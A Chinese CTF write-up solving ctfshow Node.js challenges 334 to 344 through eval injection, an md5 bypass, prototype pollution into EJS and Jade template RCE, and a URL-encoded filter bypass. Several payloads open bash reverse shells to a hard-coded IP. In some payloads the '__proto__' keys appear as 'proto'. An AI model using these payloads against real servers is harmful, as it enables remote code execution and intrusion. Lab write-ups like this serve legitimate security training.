NODEJS复习(ctfshow334-344)

NODEJS复习

web334

下载源码代码审计

发现账号密码

代码逻辑

var findUser = function(name, password){

return users.find(function(item){

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

});

};

名字不等于ctfshow和toUpperCase()转化为大写相等

Web335

页面发现eval参数的get传参

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为"eval(string)";如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

Web336

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

Web337

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

要求md5(a+flag)===md5(b+flag)hash值相等,a和b的长度也相等

payload:?a[a]=2&b[b]=2

Web338

可以看到,如果secert.ctfshow==='36dboy'那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow==='36dboy'){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

});

Payload:

{"username":"aa","password":"aa",

"proto":{"ctfshow":"36dboy"}}

Web339 变量覆盖query

原型链生成

var o = {a: 1};

// o对象直接继承了Object.prototype

// 原型链:

// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];

// 数组都继承于 Array.prototype

// 原型链:

// a ---> Array.prototype ---> Object.prototype ---> null

function f(){

return 2;

}

// 函数都继承于 Function.prototype

// 原型链:

// f ---> Function.prototype ---> Object.prototype ---> null

代码审计

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow===flag){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

secert.ctfshow===flag,flag='flag_here'

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

res.render('api', { query: Function(query)(query)});

});

解题过程:先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

Payload

{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}

flag在./routes/login.js里:

Web340

污染两级__proto__

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var user = new function(){

this.userinfo = new function(){

this.isVIP = false;

this.isAdmin = false;

this.isAuthor = false;

};

}

utils.copy(user.userinfo,req.body);

if(user.userinfo.isAdmin){

res.end(flag);

}

需要满足 user.userinfo.isAdmin为真。

依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入

{"proto":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。

userinfo 的原型不是 Object 对象, userinfo.proto.proto 才是 Object 对象

这里可以向上污染两级,利用api.js 里的query参数rce

污染一级的话,user是查找不到我们构造的query的 user.query不可控

Payload:

{"username":"a","password":"a","proto":{"proto":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4455 0>&1\"'); //"}}}

反弹shell

Web341

用的是web339的ejs rce,不过要和web340一样嵌套一下。payload:

{"proto":{"proto":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"');var _llama2"}}}

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

反弹shell

Web343

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

Web344

代码审计

router.get('/', function(req, res, next) {

res.type('html');

var flag = 'flag_here';

if(req.url.match(/8c|2c|\,/ig)){

res.end('where is flag :)');

}

var query = JSON.parse(req.query.query);

if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){

res.end(flag);

}else{

res.end('where is flag. :)');

}

});

if(req.url.match(/8c|2c|\,/ig))过滤逗号绕过+url编码绕过

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

相关推荐
你怎么睡得着的!4 小时前
【护网行动-红蓝攻防】第一章-红蓝对抗基础 认识红蓝紫
网络·安全·web安全·网络安全
anddddoooo8 小时前
域内证书维权
服务器·网络·网络协议·安全·网络安全·https·ssl
顾比魁14 小时前
pikachu之CSRF防御:给你的请求加上“网络身份证”
前端·网络·网络安全·csrf
廾匸070514 小时前
《95015网络安全应急响应分析报告(2024)》
网络安全·行业报告·应急响应
仇辉攻防14 小时前
【云安全】云原生- K8S 污点横移
web安全·网络安全·云原生·容器·kubernetes·k8s·安全威胁分析
白初&16 小时前
shiro代码层面追踪
java·shiro·代码审计·反序列化
渗透测试老鸟-九青18 小时前
HW面试经验分享 | 北京蓝中研判岗
网络·经验分享·安全·网络安全·面试·渗透·代码审计
火绒终端安全管理系统2 天前
火绒终端安全管理系统V2.0【系统防御功能】
网络·安全·网络安全·火绒安全·火绒
H轨迹H2 天前
BUUCTF-Web方向16-20wp
网络安全·渗透测试·ctf·buuctf
D-river2 天前
【如何基于Debian构建Kali Linux】
linux·网络·安全·网络安全